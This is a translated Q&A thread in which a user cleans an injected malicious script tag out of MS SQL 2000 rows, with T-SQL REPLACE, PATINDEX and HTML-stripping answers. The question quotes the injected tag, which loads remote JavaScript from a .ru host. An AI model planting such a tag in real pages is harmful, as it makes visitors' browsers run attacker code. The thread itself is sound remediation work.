无法从数据库行中删除注入的脚本

时间:2009-10-29 16:18:53

标签: sql sql-server tsql sql-server-2000 sql-update

我已经处理了一个注入了恶意软件的MS SQL 2000数据库。 恶意软件脚本如下:

<script src=http://www.someAddress.ru/aScript.js></script>

现在我想从表格行中删除这段代码。

作为测试,我输入&lt; H1&GT;测试&lt; / h1&gt; 在一行上,并成功运行以下查询:

UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;

这删除了h1标签。

但尝试使用脚本标记不起作用:

UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','')
WHERE id = 2

为什么这不起作用?

更新2
WOHO!我找到了解决方案! 我正在使用以下代码:http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3

-- Look for open and close HTML tags making sure a letter or / follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
    (@HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
            AS
    BEGIN
    DECLARE @Start  INT
    DECLARE @End    INT
    DECLARE @Length INT
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
    WHILE @Start > 0 
                AND @End > 0 
            AND @Length > 0
        BEGIN
        SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'')
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
        END
    RETURN Replace(LTRIM(RTRIM(@HTMLText)),'&nbsp;',' ')
    END
GO

要删除HTML标记/脚本,请运行以下查询:

UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;

这完美无缺。请注意,此脚本将删除所有html。所以,如果我只想删除&lt;脚本&GT; ,我只是替换'&lt;'与'&lt;脚本”。

6 个答案:

答案 0 :(得分:1)

您是否尝试过只查找aScript.js,条目可能是url_encoded,或者类似的东西,所以它提供类似

的内容
%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E 

重读问题

您的意思是即使您在id = 2的列中有脚本标记,它也不起作用?因为如果它不起作用你确定它存在于id = 2的行中吗? :P

答案 1 :(得分:1)

应该有效,除非你看不到其他隐藏的字符,或者有某种形式的编码正在进行。你可以选择一个可疑行来更仔细地查看。

在可能的情况下,我倾向于完全DELETE FROM myTable WHERE description LIKE '%someAddress.ru%'

然而,修复数据库并不是一个真正的解决方案;申请必须修复。它不应该是未编码的数据库中的文本。如果有人输入了一些数据,包括字符串<script>,则它应该只是作为文字字符串<script>显示在页面上,或者显示在源&lt;script>中。

答案 2 :(得分:1)

src属性值不会被引号括起来吗?如果是这样,你必须逃脱它们才能在替换上获得正确的匹配。

答案 3 :(得分:1)

为什么不尝试:

UPDATE myTable
set description = REPLACE (description, 'www.someAddress.ru','localhost')
WHERE id = 2

这将消除立即劫持问题,并可能避免换行/时髦角色问题。

答案 4 :(得分:0)

您可以尝试以下方法将代码从您的字段中删除(我假设您在相同的字段中包含要保留的信息):

update myTable
set description = case when PATINDEX('%<script%', notes) > 0 
        then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes))
        else notes
        end
where id=2

在运行更新之前,您可以先运行select以查看CASE语句返回的值是否正确。但是,它不应该影响没有脚本标记的字段。

答案 5 :(得分:-1)

坚持......

数据库是否与金融系统相关?申请是在萨班斯 - 奥克斯利法案下吗?有没有欺诈行为?

任何这些事情都会妨碍你做出“破坏证据”的改变。那些在他们的夹克上带着“FBI”跑来跑去的小家伙并不善待这件事。现在支持它,以及日志(SQL和Web)并将该备份放在几张DVD上是一件好事。最好删除磁盘并放入另一个磁盘(但这可能不是一个选项)。

继续清洁: bobince的方向是正确的。不要查找整个SCRIPT标记,或尝试查找变体。相反,在脚本标记中查找不属于普通数据集的内容。这就是你的关键。如果它选择正常,则将其转换为DELETE并保存该查询,因为当您转向修复应用程序时将需要它(保证您的数据库将再次损坏)。